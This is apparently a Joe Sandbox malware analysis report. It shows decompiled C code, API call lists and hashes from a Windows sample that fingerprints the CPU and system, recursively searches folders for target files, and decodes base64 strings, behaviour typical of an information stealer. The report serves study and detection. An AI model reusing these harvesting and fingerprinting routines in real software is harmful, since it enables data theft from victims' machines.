			E00414CB1(char __edx, intOrPtr* _a4) {
				void* _v8;
				void* _v12;
				char _v28;
				struct _SYSTEM_INFO _v64;
				int _t37;
				void* _t46;
				void* _t48;
				char _t53;
				CHAR* _t55;
				char _t56;
				CHAR* _t59;
				CHAR* _t61;
				void* _t62;
				char _t68;
				void* _t71;
				signed int _t72;
				void* _t74;
				void* _t78;
				intOrPtr* _t83;

				_t68 = __edx;
				asm("movaps xmm0, [0x4226f0]");
				_push(_t53);
				asm("movups [ebp-0x18], xmm0");
				_t71 = LocalAlloc(0x40, 0x800);
				_v12 = _t71;
				_v8 = LocalAlloc(0x40, 0x104);
				_push(_t53);
				asm("cpuid");
				_t55 =  &_v28;
				 *_t55 = 0x80000002;
				_t55[4] = _t53;
				_t55[8] = 0;
				_t55[0xc] = _t68;
				_push(lstrlenA(_t55));
				_t56 = _v8;
				_push(_t55);
				_push(_t56);
				if( *0x423008() == 0) {
					L4:
					_t78 = _t56;
					goto L5;
				} else {
					_push(_t56);
					asm("cpuid");
					_t59 =  &_v28;
					 *_t59 = 0x80000003;
					_t59[4] = _t56;
					_t59[8] = 0;
					_t59[0xc] = _t68;
					_t37 = lstrlenA(_t59);
					_t78 = _v8;
					_push(_t37);
					_push(_t59);
					_t13 = _t78 + 0x10; // 0x10
					if( *0x423008() == 0) {
						L5:
						LocalFree(_t71);
						_t72 = _t71 | 0xffffffff;
						__eflags = _t72;
					} else {
						asm("cpuid");
						_t61 =  &_v28;
						 *_t61 = 0x80000004;
						_t61[4] = _t59;
						_t61[8] = 0;
						_t61[0xc] = _t68;
						_t56 = _v8;
						_t19 = _t56 + 0x20; // 0x20
						_t46 =  *0x423008(_t19, _t61, lstrlenA(_t61), _t59);
						_t88 = _t46;
						if(_t46 == 0) {
							goto L4;
						} else {
							GetSystemInfo( &_v64); // executed
							_t48 = E0041A6A3(_t56);
							_t62 = _v12;
							_t74 = _t48;
							wsprintfW(_t62,  *0x4233bc, _t74, _v64.dwNumberOfProcessors);
							_t83 = _a4;
							 *_t83 = E0041AD76( *_t83, _t62, _t88);
							LocalFree(_t62);
							LocalFree(_t74);
							_t78 = _v8;
							_t72 = 1;
						}
					}
				}
				LocalFree(_t78);
				return _t72;
			}

0x00414cb1
0x00414cb7
0x00414cbe
0x00414cc8
0x00414cd7
0x00414cdb
0x00414ce4
0x00414cee
0x00414cef
0x00414cf4
0x00414cf7
0x00414cfb
0x00414cfe
0x00414d02
0x00414d0b
0x00414d0e
0x00414d11
0x00414d12
0x00414d1b
0x00414de6
0x00414de6
0x00000000
0x00414d21
0x00414d28
0x00414d29
0x00414d2e
0x00414d31
0x00414d35
0x00414d38
0x00414d3c
0x00414d3f
0x00414d45
0x00414d48
0x00414d4b
0x00414d4c
0x00414d58
0x00414de8
0x00414de9
0x00414def
0x00414def
0x00414d5e
0x00414d66
0x00414d6b
0x00414d6e
0x00414d72
0x00414d75
0x00414d79
0x00414d85
0x00414d89
0x00414d8d
0x00414d93
0x00414d95
0x00000000
0x00414d97
0x00414d9b
0x00414da6
0x00414dab
0x00414dae
0x00414db9
0x00414dbf
0x00414dcf
0x00414dd1
0x00414dd8
0x00414dde
0x00414de3
0x00414de3
0x00414d95
0x00414d58
0x00414df3
0x00414dff

APIs

LocalAlloc.KERNEL32(00000040,00000800,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,00415401,00000000), ref: 00414CCC
LocalAlloc.KERNEL32(00000040,00000104,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000), ref: 00414CDE
lstrlenA.KERNEL32(00415401,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414D05
lstrcpyn.KERNEL32(00000000,00415401,00000000,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000), ref: 00414D13
lstrlenA.KERNEL32(00415401,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414D3F
lstrcpyn.KERNEL32(00000010,00415401,00000000,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000), ref: 00414D50
lstrlenA.KERNEL32(00415401,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414D7C
lstrcpyn.KERNEL32(00000020,00415401,00000000,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000), ref: 00414D8D
GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414D9B

Part of subcall function 0041A6A3: RealDriveType.SHELL32(7A7F0824,00000000), ref: 0041A6B6
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C0
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6C6
Part of subcall function 0041A6A3: RealDriveType.SHELL32(CDF102A7,00000000), ref: 0041A6CF
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E27FAE8,00000000), ref: 0041A6D8
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6DE
Part of subcall function 0041A6A3: RealDriveType.SHELL32(C5D8D0FC,00000000), ref: 0041A6E7
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6ED
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F3
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A6F9
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D56F96D9,00000000), ref: 0041A702
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A708
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A70E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A714
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A71A
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A720
Part of subcall function 0041A6A3: RealDriveType.SHELL32(E8EAE2BB,00000000), ref: 0041A729
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A72F
Part of subcall function 0041A6A3: RealDriveType.SHELL32(2E9A5212,00000000), ref: 0041A738
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A73E
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A744
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A74A
Part of subcall function 0041A6A3: RealDriveType.SHELL32(85C0647B,00000000), ref: 0041A753
Part of subcall function 0041A6A3: RealDriveType.SHELL32(D7A1C836,00000000), ref: 0041A75C
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A762
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A768
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DDF4774B,00000000), ref: 0041A771
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A777
Part of subcall function 0041A6A3: RealDriveType.SHELL32(EDDD8A7A,00000000), ref: 0041A780
Part of subcall function 0041A6A3: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A786
Part of subcall function 0041A6A3: RealDriveType.SHELL32(DB06937F,00000000), ref: 0041A78F

wsprintfW.USER32 ref: 00414DB9

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00415401,00000000), ref: 00414DD1
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00415401,00000000), ref: 00414DD8
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414DE9
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00415401,00000000,00000000,00000000,00000000,00000000), ref: 00414DF3

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DrivePathRealSlowType$Local$Free$lstrcpynlstrlen$Alloc$InfoSystemwsprintf
String ID:
API String ID: 1991207903-0
Opcode ID: d5955c2c3a3a40bf9ef58214bc6935a9c6e54959d89162f05d2016c25220def4
Instruction ID: 05d08357caeacfa6c9e43f35961f913ceb6be8f66373819defb0a19f9f1fee83
Opcode Fuzzy Hash: d5955c2c3a3a40bf9ef58214bc6935a9c6e54959d89162f05d2016c25220def4
Instruction Fuzzy Hash: 724184B1B00204AFDB108F68DCC99AABBB8FF48311B548179FA09D7355D6389E45CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00401D6F Relevance: 18.1, APIs: 12, Instructions: 122
filememorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401D6F(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v12;
				struct _WIN32_FIND_DATAW _v608;
				char _v1126;
				short _v1128;
				void* __ebx;
				void* __esi;
				void* _t34;
				int _t35;
				void* _t40;
				signed int _t41;
				void* _t60;
				WCHAR* _t75;
				intOrPtr _t76;
				WCHAR* _t77;
				void* _t78;

				_t76 = __edx;
				_v12 = __edx;
				_t75 = __ecx;
				if(_a12 > 2) {
					L11:
					return 1;
				}
				_push(__ecx);
				E00401CEA( &_v1128, 0x104, __ecx, __ecx);
				E00401C8D(0x104,  &_v1128, 0x104, __edx,  *0x4231cc);
				_t34 = FindFirstFileW( &_v1128,  &_v608); // executed
				_t60 = _t34;
				if(_t60 != 0xffffffff) {
					do {
						if((_v608.dwFileAttributes & 0x00000010) == 0) {
							goto L9;
						}
						if(lstrcmpW( &(_v608.cFileName),  *0x4231dc) != 0) {
							if(StrStrW( &(_v608.cFileName),  *0x4231a4) == 0 || StrStrW( &(_v608.cFileName),  *0x4231c4) == 0) {
								_t40 = 0x2e;
								if(_t40 != _v608.cFileName) {
									_t41 = lstrlenW(_t75);
									_t66 =  &_v1126 + _t41 * 2;
									_push( &_v1126 + _t41 * 2);
									E00401CEA( &_v1126 + _t41 * 2, 0x104, _t66,  &(_v608.cFileName));
									E00401D6F( &_v1128, _t76, _a4, _a8, _a12 + 1); // executed
									_t78 = _t78 + 0xc;
								}
							} else {
								_t77 = LocalAlloc(0x40, 0x208);
								PathCombineW(_t77, _t75,  &(_v608.cFileName));
								_push(1);
								L6:
								_push(_a8);
								_push(_a4);
								E004021E9(_t77, _v12);
								_t78 = _t78 + 0xc;
								if(_t77 != 0) {
									LocalFree(_t77);
								}
								_t76 = _v12;
							}
							goto L9;
						}
						_t77 = LocalAlloc(0x40, 0x208);
						PathCombineW(_t77, _t75,  &(_v608.cFileName));
						_push(0);
						goto L6;
						L9:
						_t35 = FindNextFileW(_t60,  &_v608); // executed
					} while (_t35 != 0);
					FindClose(_t60); // executed
					goto L11;
				}
				return 0;
			}

0x00401d7e
0x00401d81
0x00401d84
0x00401d86
0x00401e4d
0x00000000
0x00401e4d
0x00401d8c
0x00401d9c
0x00401daf
0x00401dc2
0x00401dc8
0x00401dcd
0x00401dd3
0x00401dda
0x00000000
0x00000000
0x00401df1
0x00401e69
0x00401ea9
0x00401eb1
0x00401eb4
0x00401ec5
0x00401ec8
0x00401ed1
0x00401ee9
0x00401eee
0x00401eee
0x00401e82
0x00401e8f
0x00401e9a
0x00401ea0
0x00401e13
0x00401e13
0x00401e1b
0x00401e1e
0x00401e23
0x00401e28
0x00401e2b
0x00401e2b
0x00401e31
0x00401e31
0x00000000
0x00401e69
0x00401e00
0x00401e0b
0x00401e11
0x00000000
0x00401e34
0x00401e3c
0x00401e42
0x00401e47
0x00000000
0x00401e47
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401DC2
lstrcmpW.KERNEL32(?), ref: 00401DE9
LocalAlloc.KERNEL32(00000040,00000208), ref: 00401DFA
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401E0B
LocalFree.KERNEL32(00000000), ref: 00401E2B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00401E3C
FindClose.KERNELBASE(00000000), ref: 00401E47
StrStrW.SHLWAPI(?), ref: 00401E61
StrStrW.SHLWAPI(?), ref: 00401E78
LocalAlloc.KERNEL32(00000040,00000208), ref: 00401E89
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401E9A
lstrlenW.KERNEL32(00000000), ref: 00401EB4

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: FindLocal$AllocCombineFilePath$CloseFirstFreeNextlstrcmplstrlen
String ID:
API String ID: 3302464737-0
Opcode ID: abdbdb778d50b06a77e78e62d571c63b94d40e3660104339a5dcbc8fc4fa8d5f
Instruction ID: 2662361db76173ed4b9a42e7528309d9d421f88fb8b203ac2b9809e6b3ccad62
Opcode Fuzzy Hash: abdbdb778d50b06a77e78e62d571c63b94d40e3660104339a5dcbc8fc4fa8d5f
Instruction Fuzzy Hash: 8D418471B00218ABDB205F60DD49EAF777CAB45705F0001BABA05A21E0EB399B46CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00401EF6 Relevance: 18.1, APIs: 12, Instructions: 118
stringfilememoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401EF6(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v12;
				struct _WIN32_FIND_DATAW _v608;
				char _v1126;
				short _v1128;
				void* __ebx;
				void* __esi;
				void* _t33;
				int _t34;
				void* _t40;
				signed int _t41;
				void* _t58;
				WCHAR* _t73;
				intOrPtr _t74;
				WCHAR* _t75;
				void* _t76;

				_t74 = __edx;
				_v12 = __edx;
				_t73 = __ecx;
				if(_a12 > 2) {
					L11:
					return 1;
				}
				_push(__ecx);
				E00401CEA( &_v1128, 0x104, __ecx, __ecx);
				E00401C8D(0x104,  &_v1128, 0x104, __edx,  *0x4231cc);
				_t33 = FindFirstFileW( &_v1128,  &_v608); // executed
				_t58 = _t33;
				if(_t58 != 0xffffffff) {
					do {
						if((_v608.dwFileAttributes & 0x00000010) == 0) {
							goto L9;
						}
						if(lstrcmpW( &(_v608.cFileName),  *0x4231dc) != 0) {
							if(lstrlenW(StrStrW( &(_v608.cFileName),  *0x4231a4)) <= 0) {
								_t40 = 0x2e;
								if(_t40 != _v608.cFileName) {
									_t41 = lstrlenW(_t73);
									_t64 =  &_v1126 + _t41 * 2;
									_push( &_v1126 + _t41 * 2);
									E00401CEA( &_v1126 + _t41 * 2, 0x104, _t64,  &(_v608.cFileName));
									E00401EF6( &_v1128, _t74, _a4, _a8, _a12 + 1); // executed
									_t76 = _t76 + 0xc;
								}
								goto L9;
							}
							_t75 = LocalAlloc(0x40, 0x208);
							PathCombineW(_t75, _t73,  &(_v608.cFileName));
							_push(1);
							L6:
							_push(_a8);
							_push(_a4);
							E004021E9(_t75, _v12); // executed
							_t76 = _t76 + 0xc;
							if(_t75 != 0) {
								LocalFree(_t75);
							}
							_t74 = _v12;
							goto L9;
						}
						_t75 = LocalAlloc(0x40, 0x208);
						PathCombineW(_t75, _t73,  &(_v608.cFileName));
						_push(0);
						goto L6;
						L9:
						_t34 = FindNextFileW(_t58,  &_v608); // executed
					} while (_t34 != 0);
					FindClose(_t58); // executed
					goto L11;
				}
				return 0;
			}

0x00401f05
0x00401f08
0x00401f0b
0x00401f0d
0x00401fd4
0x00000000
0x00401fd4
0x00401f13
0x00401f23
0x00401f36
0x00401f49
0x00401f4f
0x00401f54
0x00401f5a
0x00401f61
0x00000000
0x00000000
0x00401f78
0x00401ff7
0x00402020
0x00402028
0x0040202b
0x0040203c
0x0040203f
0x00402048
0x00402060
0x00402065
0x00402065
0x00000000
0x00402028
0x00402006
0x00402011
0x00402017
0x00401f9a
0x00401f9a
0x00401fa2
0x00401fa5
0x00401faa
0x00401faf
0x00401fb2
0x00401fb2
0x00401fb8
0x00000000
0x00401fb8
0x00401f87
0x00401f92
0x00401f98
0x00000000
0x00401fbb
0x00401fc3
0x00401fc9
0x00401fce
0x00000000
0x00401fce
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401F49
lstrcmpW.KERNEL32(?), ref: 00401F70
LocalAlloc.KERNEL32(00000040,00000208), ref: 00401F81
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00401F92
LocalFree.KERNEL32(00000000), ref: 00401FB2
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00401FC3
FindClose.KERNELBASE(00000000), ref: 00401FCE
StrStrW.SHLWAPI(?), ref: 00401FE8
lstrlenW.KERNEL32(00000000), ref: 00401FEF
LocalAlloc.KERNEL32(00000040,00000208), ref: 00402000
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00402011
lstrlenW.KERNEL32(00000000), ref: 0040202B

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: FindLocal$AllocCombineFilePathlstrlen$CloseFirstFreeNextlstrcmp
String ID:
API String ID: 1193658352-0
Opcode ID: 12f7d5a4dc57bd0a7af36b9ec85c55172fe7c40e86584fc1aadbfd0abbfde43d
Instruction ID: 3a4b0a0445346d4e93b96a64985214774d79745a6e07c6866549a902740df3e5
Opcode Fuzzy Hash: 12f7d5a4dc57bd0a7af36b9ec85c55172fe7c40e86584fc1aadbfd0abbfde43d
Instruction Fuzzy Hash: C641B871600219BBDB205F60DD89EAB777CEB45706F00017AFA05A21A1DB7D9B46CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00407067 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 100
filestringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00407067(WCHAR* __ecx, long __edx, intOrPtr _a4, intOrPtr _a8, char _a12) {
				char _v524;
				char _v526;
				char _v536;
				short _v540;
				short _v1076;
				struct _WIN32_FIND_DATAW _v1132;
				intOrPtr _v1136;
				void* __ebx;
				void* __esi;
				void* _t27;
				void* _t32;
				int _t34;
				void* _t37;
				signed int _t38;
				WCHAR* _t50;
				void* _t70;
				void* _t74;
				signed int _t75;
				void* _t77;

				_t77 = (_t75 & 0xfffffff8) - 0x45c;
				_t1 =  &_a12; // 0x407460
				_t72 =  *_t1;
				_t50 = __ecx;
				_v1132.ftLastAccessTime.dwFileAttributes = __edx;
				if( *_t1 > 2) {
					L10:
					_t27 = 1;
					L11:
					return _t27;
				}
				_push(__ecx);
				E00401CEA( &_v524, 0x104, __ecx, __ecx);
				E00401C8D(__ecx,  &_v536, 0x104, _t72,  *0x4231cc);
				_t32 = FindFirstFileW( &_v540,  &_v1132); // executed
				_t70 = _t32;
				if(_t70 != 0xffffffff) {
					do {
						__eflags = _v1132.ftLastAccessTime.dwFileAttributes & 0x00000010;
						if((_v1132.ftLastAccessTime.dwFileAttributes & 0x00000010) != 0) {
							__eflags = lstrcmpW( &_v1076,  *0x42345c);
							if(__eflags != 0) {
								_t37 = 0x2e;
								__eflags = _t37 - _v1076;
								if(_t37 != _v1076) {
									_t38 = lstrlenW(_t50);
									_t56 =  &_v526 + _t38 * 2;
									_push( &_v526 + _t38 * 2);
									E00401CEA( &_v526 + _t38 * 2, 0x104, _t56,  &_v1076);
									E00407067( &_v540, _v1136, _a4, _a8, _t72 + 1); // executed
									_t77 = _t77 + 0xc;
								}
							} else {
								_t74 = LocalAlloc(0x40, 0x208);
								PathCombineW(_t74, _t50,  &_v1076);
								E0040770F(_v1132.dwFileAttributes, _t74, __eflags, _a4, _a8);
								__eflags = _t74;
								if(_t74 != 0) {
									LocalFree(_t74);
								}
								_t15 =  &_a12; // 0x407460
								_t72 =  *_t15;
							}
						}
						_t34 = FindNextFileW(_t70,  &(_v1132.ftLastAccessTime)); // executed
						__eflags = _t34;
					} while (_t34 != 0);
					FindClose(_t70); // executed
					goto L10;
				} else {
					_t27 = 0;
					goto L11;
				}
			}

0x0040706d
0x00407075
0x00407075
0x00407078
0x0040707a
0x00407082
0x00407140
0x00407140
0x00407142
0x00407148
0x00407148
0x00407088
0x00407099
0x004070ad
0x004070bf
0x004070c5
0x004070ca
0x004070d0
0x004070d0
0x004070d5
0x004070e8
0x004070ea
0x0040714b
0x0040714c
0x00407151
0x00407154
0x00407166
0x00407169
0x00407170
0x0040718a
0x0040718f
0x0040718f
0x004070ec
0x004070f9
0x00407102
0x00407114
0x0040711b
0x0040711d
0x00407120
0x00407120
0x00407126
0x00407126
0x00407126
0x004070ea
0x0040712f
0x00407135
0x00407135
0x0040713a
0x00000000
0x004070cc
0x004070cc
0x00000000
0x004070cc

APIs

FindFirstFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004070BF
lstrcmpW.KERNEL32(?), ref: 004070E2
LocalAlloc.KERNEL32(00000040,00000208), ref: 004070F3
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 00407102
LocalFree.KERNEL32(00000000), ref: 00407120
FindNextFileW.KERNELBASE(00000000,00000010), ref: 0040712F
FindClose.KERNELBASE(00000000), ref: 0040713A
lstrlenW.KERNEL32(00000000), ref: 00407154

Strings

`t@, xrefs: 00407075, 00407126

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Find$FileLocal$AllocCloseCombineFirstFreeNextPathlstrcmplstrlen
String ID: `t@
API String ID: 4184326037-2316955472
Opcode ID: c861e71ed51af8388ea9b34213a88f583988400def0ac65ab559301ba8dfea41
Instruction ID: eaa73518e3da0bfa77c1327ad947f8d6f9d0db15c014951d908769308dd5add4
Opcode Fuzzy Hash: c861e71ed51af8388ea9b34213a88f583988400def0ac65ab559301ba8dfea41
Instruction Fuzzy Hash: CF31C671A08305ABD720AF10DC45DBB77BCEB84315F00453AFA55932D0DB39E906C76A

Uniqueness

Uniqueness Score: -1.00%

Function 00401C00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401C00(intOrPtr __ecx, void** __edx, char _a4) {
				intOrPtr _v8;
				void* _t5;
				void* _t7;
				void* _t10;
				long* _t11;
				void* _t15;
				void** _t16;
				void* _t18;
				long _t19;

				_t1 =  &_a4; // 0x402c4b
				_t11 =  *_t1;
				_t19 = 0;
				_v8 = __ecx;
				_t16 = __edx;
				 *_t11 = 0;
				 *((intOrPtr*)(__edx)) = 0; // executed
				_t5 =  *0x423154(__ecx, 0, 1, 0, _t11, 0, 0, _t15, _t18, _t10, __ecx); // executed
				if(_t5 != 0) {
					_t7 = LocalAlloc(0x40,  *_t11);
					 *_t16 = _t7;
					if(_t7 != 0) {
						_t19 =  *0x423154(_v8, 0, 1, _t7, _t11, 0, 0);
						if(_t19 == 0) {
							 *_t16 = LocalFree( *_t16);
						}
					}
				}
				return _t19;
			}

0x00401c05
0x00401c05
0x00401c0c
0x00401c0e
0x00401c17
0x00401c19
0x00401c1d
0x00401c1f
0x00401c27
0x00401c2d
0x00401c33
0x00401c37
0x00401c49
0x00401c4d
0x00401c57
0x00401c57
0x00401c4d
0x00401c37
0x00401c5f

APIs

CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C1F
LocalAlloc.KERNEL32(00000040,K,@,?,00402C4B,?), ref: 00401C2D
CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C43
LocalFree.KERNEL32(00000000,?,00402C4B,?), ref: 00401C51

Strings

K,@, xrefs: 00401C05, 00401C13, 00401C29, 00401C3B

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: K,@
API String ID: 4291131564-3429077261
Opcode ID: 40f9824fed8ddace808b9a097262254a82ff01c16f7fbada4505f3f45401a447
Instruction ID: b19a70b33d4b504d87b6a6aacab527f373f9640c8bb521302335055d283ee90e
Opcode Fuzzy Hash: 40f9824fed8ddace808b9a097262254a82ff01c16f7fbada4505f3f45401a447
